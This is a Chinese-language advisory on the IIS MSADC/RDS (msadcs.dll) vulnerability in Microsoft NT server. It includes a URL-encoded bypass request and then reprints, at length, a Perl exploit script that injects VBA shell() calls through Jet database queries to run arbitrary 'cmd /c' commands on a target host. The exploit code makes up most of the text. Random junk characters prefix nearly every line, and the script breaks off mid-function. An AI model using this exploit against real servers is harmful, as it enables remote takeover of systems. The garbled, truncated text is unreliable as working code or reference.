IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
q?oP?cCw rc>4vB_ha 涉及程序:
K>r,(zgVc Microsoft NT server
&(G\[RWp\ gk[aM~p 描述:
3kIN~/<R+7 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Ym{tR,g7 ?U5{Wa85D 详细:
6?mibvK 如果你没有时间读详细内容的话,就删除:
^HThN c:\Program Files\Common Files\System\Msadc\msadcs.dll
B^Nf #XN( 有关的安全问题就没有了。
p7VTa~\zA ~u!|qM 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
J^nBdofP _8riUt 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
]kG"ubHV?h 关于利用ODBC远程漏洞的描述,请参看:
$@Rxrx_@M #ASz;$P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5uNJx5g 4 \K7xM! 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
"Hb"F?Yb http://www.microsoft.com/security/bulletins/MS99-025faq.asp EXwo,?I WJndoB.f[2 这里不再论述。
udF~5w
H /-ch`u md 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
/vde2.| w%VU/6~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
HU}7zK2 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_ Yx]_Y9I YTX,cj#D^& kg~mgMR+w #将下面这段保存为txt文件,然后: "perl -x 文件名"
L9\1+rq @ ZwvBH #!perl
=wHVsdNCN #
Zq|I,l0+E # MSADC/RDS 'usage' (aka exploit) script
w d^': #
eV"h0_ox # by rain.forest.puppy
YTpSHpf@ #
)uIe&B
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
KB,j7
~V # beta test and find errors!
;|5F[ GT!M[*[ use Socket; use Getopt::Std;
+L|?~p`V getopts("e:vd:h:XR", \%args);
/y#f3r+*2 %@ODs6 R0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mpEK (p p2[n$61 if (!defined $args{h} && !defined $args{R}) {
_476pZ_ print qq~
N/'b$m5=
S Usage: msadc.pl -h <host> { -d <delay> -X -v }
sw oQ' -h <host> = host you want to scan (ip or domain)
BB$>h} -d <seconds> = delay between calls, default 1 second
[0[i5'K: -X = dump Index Server path table, if available
k>Vci{v -v = verbose
eRstD>r -e = external dictionary file for step 5
i2U{GV<K-r uaGk6S Or a -R will resume a command session
+I:Unp cLJ$M`e ~; exit;}
nQtWvT {G0T$,'DR $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Oo8VeRZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&yTqZ*Yuk if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+z\^t_"f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9y8&9<# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]z;I_- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qQ/^@3tXL #7$
H if (!defined $args{R}){ $ret = &has_msadc;
mh{d8<Q2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$Sx'sA2 |`,2ri*5A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|=ba9&q . "cmd /c ";
ufZDF=$7 $in=<STDIN>; chomp $in;
7P5)Z-K[ $command="cmd /c " . $in ;
S_4?K)n # =^f<v_L if (defined $args{R}) {&load; exit;}
FZ<gpIv!NS UiP"Ixg6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
l0w]`EE &try_btcustmr;
T|op$ s| wn, KY$/ print "\nStep 2: Trying to make our own DSN...";
PfD.:amN7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#ut !bx;Ta. print "\nStep 3: Trying known DSNs...";
*NaB#;+|k` &known_dsn;
rjAn@!|:+ l
-m fFN print "\nStep 4: Trying known .mdbs...";
w"|L:8 &known_mdb;
!cLo>,4 7\[@m3s if (defined $args{e}){
:T$|bc print "\nStep 5: Trying dictionary of DSN names...";
vjCu4+w($Z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
aQc leTb $am$EU?s print "Sorry Charley...maybe next time?\n";
Xp% v.M exit;
wqs?828x uc\Kg1{ ##############################################################################
e@07 hJ? O],4J sub sendraw { # ripped and modded from whisker
[`[|l
sleep($delay); # it's a DoS on the server! At least on mine...
^_W#+>&-- my ($pstr)=@_;
aEWWP] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a:`E0}C die("Socket problems\n");
8z`G,qh if(connect(S,pack "SnA4x8",2,80,$target)){
fk>aqm7D! select(S); $|=1;
|O+H[;TB6 print $pstr; my @in=<S>;
)
7@ `ut select(STDOUT); close(S);
F4z{LhZ return @in;
\fdv]f } else { die("Can't connect...\n"); }}
`r':by0M D|p9qe5% ##############################################################################
Fb>?1i`RN LEf^cM=> sub make_header { # make the HTTP request
k FD;i my $msadc=<<EOT
~<5!?6Yt POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
XJ\DVZ User-Agent: ACTIVEDATA
(gU!=F?#m Host: $ip
T2W eE@o Content-Length: $clen
pRpBhm;iJ Connection: Keep-Alive
hH3RP{'= rfg'G&A( ADCClientVersion:01.06
5m 4P\y^a Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Vwf$JdK%&l 4f@rv^f(X --!ADM!ROX!YOUR!WORLD!
i$#;Kpb`^ Content-Type: application/x-varg
qgHWUwr+n Content-Length: $reqlen
sb*G!8j "m8^zg hL EOT
aFm_;\ ; $msadc=~s/\n/\r\n/g;
ie95rZp return $msadc;}
#q$HQ&k rJ4S%6w ##############################################################################
+ GN(Ug'R s^9Voi.y sub make_req { # make the RDS request
;`{H!w[D my ($switch, $p1, $p2)=@_;
1n8/r}q'H my $req=""; my $t1, $t2, $query, $dsn;
b. '-?Nn &PHTpkaam if ($switch==1){ # this is the btcustmr.mdb query
4E+e}\r:6 $query="Select * from Customers where City=" . make_shell();
!>o7a}? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o5PO=AN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.`H5cuF` U'_Q>k elsif ($switch==2){ # this is general make table query
*:7rdzn $query="create table AZZ (B int, C varchar(10))";
O8r|8]o $dsn="$p1";}
+3BN} 'JE`(xD elsif ($switch==3){ # this is general exploit table query
V=l0(03j~ $query="select * from AZZ where C=" . make_shell();
Ic<2QknmP $dsn="$p1";}
Wvh#:Z ebhXak[w elsif ($switch==4){ # attempt to hork file info from index server
Q3~H{)[Kq $query="select path from scope()";
Nh|uO?&C6 $dsn="Provider=MSIDXS;";}
; DR$iH-F t{9GVLZ elsif ($switch==5){ # bad query
0Mm)`!TLSW $query="select";
eo?bL$A[s $dsn="$p1";}
;igIZ$& |wMN}bq|T $t1= make_unicode($query);
s ll\g $t2= make_unicode($dsn);
]F~dlH1Wp $req = "\x02\x00\x03\x00";
%[TR^Th6 $req.= "\x08\x00" . pack ("S1", length($t1));
:3Ox~o $req.= "\x00\x00" . $t1 ;
2]*OQb#O6e $req.= "\x08\x00" . pack ("S1", length($t2));
M|h3Wt~7 $req.= "\x00\x00" . $t2 ;
!f[_+CD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@,+5y\]C return $req;}
PC8Q"O (ZZ8L-s ##############################################################################
]_gU#,8
q3!bky\ sub make_shell { # this makes the shell() statement
@S;'@VC return "'|shell(\"$command\")|'";}
Rhs/3O8k dZ@63a>>@ ##############################################################################
{JT&w6Jz f8dB-FlMm sub make_unicode { # quick little function to convert to unicode
&p@O_0nF my ($in)=@_; my $out;
qEOhwrh for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Yj49t_$b return $out;}
qy TU8Wp 03Ycf'W ##############################################################################
(L&d!$,Dv bI1N@= sub rdo_success { # checks for RDO return success (this is kludge)
{!L~@r my (@in) = @_; my $base=content_start(@in);
/([kh~a if($in[$base]=~/multipart\/mixed/){
Lqa4Vi return 1 if( $in[$base+10]=~/^\x09\x00/ );}
#;yZ return 0;}
=;
Ff4aF N4!O.POP ##############################################################################
Ti5-6%~& 6H$FhJF sub make_dsn { # this makes a DSN for us
-Q*gW2KmV my @drives=("c","d","e","f");
O^
yG?b print "\nMaking DSN: ";
24eLB?H foreach $drive (@drives) {
m:2^=l4 print "$drive: ";
NXrlk my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
CD~.z7,LC "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Xx:"4l.w. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
L="}ErmK $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$U~]=.n return 0 if $2 eq "404"; # not found/doesn't exist
)Aqtew+A& if($2 eq "200") {
PJH& foreach $line (@results) {
3]S$ih&A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/U9"wvg } return 0;}
:$c
| VTE .^EK! ##############################################################################
;e *!S}C, YS0<qSN sub verify_exists {
} q8ASYNc my ($page)=@_;
4tBYR9| my @results=sendraw("GET $page HTTP/1.0\n\n");
H.MI5O (Q return $results[0];}
"chDg(jMZ e9B064 ##############################################################################
iYy1!\ )SGq[B6@I sub try_btcustmr {
?UoBV$ my @drives=("c","d","e","f");
rx|pOz,: my @dirs=("winnt","winnt35","winnt351","win","windows");
4kx
N<] 9yP;@y*d foreach $dir (@dirs) {
'H;*W |:-] print "$dir -> "; # fun status so you can see progress
evmeqQG= foreach $drive (@drives) {
^1];S^nD print "$drive: "; # ditto
G 3ptx!
D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@j/a=4o[ $reqlenlen=length( "$reqlen" );
bk[!8-b/a $clen= 206 + $reqlenlen + $reqlen;
R6->t #n, +I28|*K" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\9T7A& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(sZ"iGn% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6'f;-2 ckCE1e>s ##############################################################################
D0f] $ J|7 3.&B sub odbc_error {
>hIu2jm my (@in)=@_; my $base;
3bI9Zt#J%& my $base = content_start(@in);
es7=%!0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&oMh]Z*: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"w<#^d_6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R:qW;n%AF $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZN0P:== return $in[$base+4].$in[$base+5].$in[$base+6];}
~P-mC@C print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w7L)'9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-QNh $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ny/MJ#Lq z
F;K ##############################################################################
Q"#J6@ }jPSUdo sub verbose {
X:{!n({r= my ($in)=@_;
A04U /; return if !$verbose;
q)
KKvO print STDOUT "\n$in\n";}
!&E-}}< W(p_.p"
##############################################################################
Ow,b^| 8z\xrY sub save {
]Hv[ IodJ my ($p1, $p2, $p3, $p4)=@_;
#/37V2E open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Fsg*FH7J print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
F!K>K z close OUT;}
lyhiFkO
iH _aeBauD ##############################################################################
COlaD"Y S+lqA-: sub load {
"0TZTa1e my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Iq.*8Oc open(IN,"<rds.save") || die("Couldn't open rds.save\n");
tZo} ;|~' @p=<IN>; close(IN);
u ^RxD^=L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#g!.T g' $target= inet_aton($ip) || die("inet_aton problems");
X@FN|Rdh print "Resuming to $ip ...";
8 Fbo3 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hi[pVk~B) if($p[1]==1) {
5!9zI+S|=` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Flb&B1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
xgtR6E^k my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
EoDA]6?Lj if (rdo_success(@results)){print "Success!\n";}
-UT}/:a else { print "failed\n"; verbose(odbc_error(@results));}}
,hmL/K0"(5 elsif ($p[1]==3){
&)<)^.@3G^ if(run_query("$p[3]")){
sDV Q#}a print "Success!\n";} else { print "failed\n"; }}
Cgc\
ah elsif ($p[1]==4){
=2x^nW if(run_query($drvst . "$p[3]")){
w4Z'K&